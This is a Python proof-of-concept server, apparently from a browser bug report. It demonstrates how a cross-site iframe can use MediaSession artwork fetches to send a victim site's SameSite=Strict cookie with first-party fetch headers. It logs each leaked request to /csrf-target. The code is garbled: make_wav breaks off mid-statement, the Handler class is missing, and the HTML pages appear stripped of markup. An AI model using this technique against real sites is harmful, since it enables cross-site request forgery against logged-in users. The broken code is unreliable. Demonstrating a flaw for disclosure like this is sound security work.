#!/usr/bin/env python3
"""
POC server for: Cross-origin subframe MediaSession artwork fetched via primary
main frame -- SameSite cookie / Sec-Fetch-Site / initiator-origin laundering.
Two virtual hosts on the same port (distinguished by Host header):
- 127.0.0.1 : the embedding "victim" first-party site. It sets a
SameSite=Strict cookie and embeds a cross-site iframe.
It does NOT play media or use navigator.mediaSession.
- localhost : the cross-site "attacker" iframe. It plays audio and
sets navigator.mediaSession.metadata.artwork to a URL on
the *victim* origin.
Both hosts are potentially-trustworthy origins, so Chrome emits
Sec-Fetch-* headers on requests to them, and they are cross-SITE with
respect to each other for SameSite-cookie purposes (one is an IP host,
the other a name host).
The server logs every request to /csrf-target with its Cookie and
Sec-Fetch-Site headers.
"""
import http.server
import socketserver
import struct
import threading
import math
PORT = 9999
VICTIM_HOST = "127.0.0.1" # top-level embedder ("victim.example")
ATTACKER_HOST = "localhost" # cross-site iframe ("evil.example")
# ---------------------------------------------------------------------------
VICTIM_INDEX = f"""
victim ({VICTIM_HOST})
victim {VICTIM_HOST} top-level page
This page does not play media or use navigator.mediaSession.
Embedding cross-site iframe at {ATTACKER_HOST}:
""".encode()
ATTACKER_AD = f"""
{ATTACKER_HOST} ad
{ATTACKER_HOST} cross-site iframe
""".encode()
# Minimal valid 1x1 PNG so the image-decode path doesn't error out.
PNG_1x1 = bytes.fromhex(
"89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c489"
"0000000a49444154789c6300010000000500010d0a2db40000000049454e44ae426082"
)
def make_wav(seconds: int = 10, rate: int = 8000, freq: int = 440) -> bytes:
"""Generate a tiny mono PCM WAV so the renderer has real, audible audio."""
nsamples = seconds * rate
samples = bytearray()
for i in range(nsamples):
v = int(32760 * 0.2 * math.sin(2 * math.pi * freq * i / rate))
samples += struct.pack("")
sfs = self.headers.get("Sec-Fetch-Site", "")
sfm = self.headers.get("Sec-Fetch-Mode", "")
sfd = self.headers.get("Sec-Fetch-Dest", "")
referer = self.headers.get("Referer", "")
qs = self.path.partition("?")[2]
leaked = "STRICT_SECRET" in cookie
marker = (" <<< VULN: SameSite=Strict cookie + first-party "
"context laundered by cross-site iframe" if leaked else "")
with LOG_LOCK:
print("-" * 78, flush=True)
print(f"[{host}] GET /csrf-target?{qs}", flush=True)
print(f" Cookie : {cookie}", flush=True)
print(f" Sec-Fetch-Site : {sfs}", flush=True)
print(f" Sec-Fetch-Mode : {sfm}", flush=True)
print(f" Sec-Fetch-Dest : {sfd}", flush=True)
print(f" Referer : {referer}{marker}", flush=True)
self._send(200, "image/png", PNG_1x1)
class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
allow_reuse_address = True
daemon_threads = True
if __name__ == "__main__":
print(f"[*] POC server listening on http://127.0.0.1:{PORT}/", flush=True)
print(f"[*] Victim host : {VICTIM_HOST}", flush=True)
print(f"[*] Attacker host: {ATTACKER_HOST}", flush=True)
ThreadingHTTPServer(("127.0.0.1", PORT), Handler).serve_forever()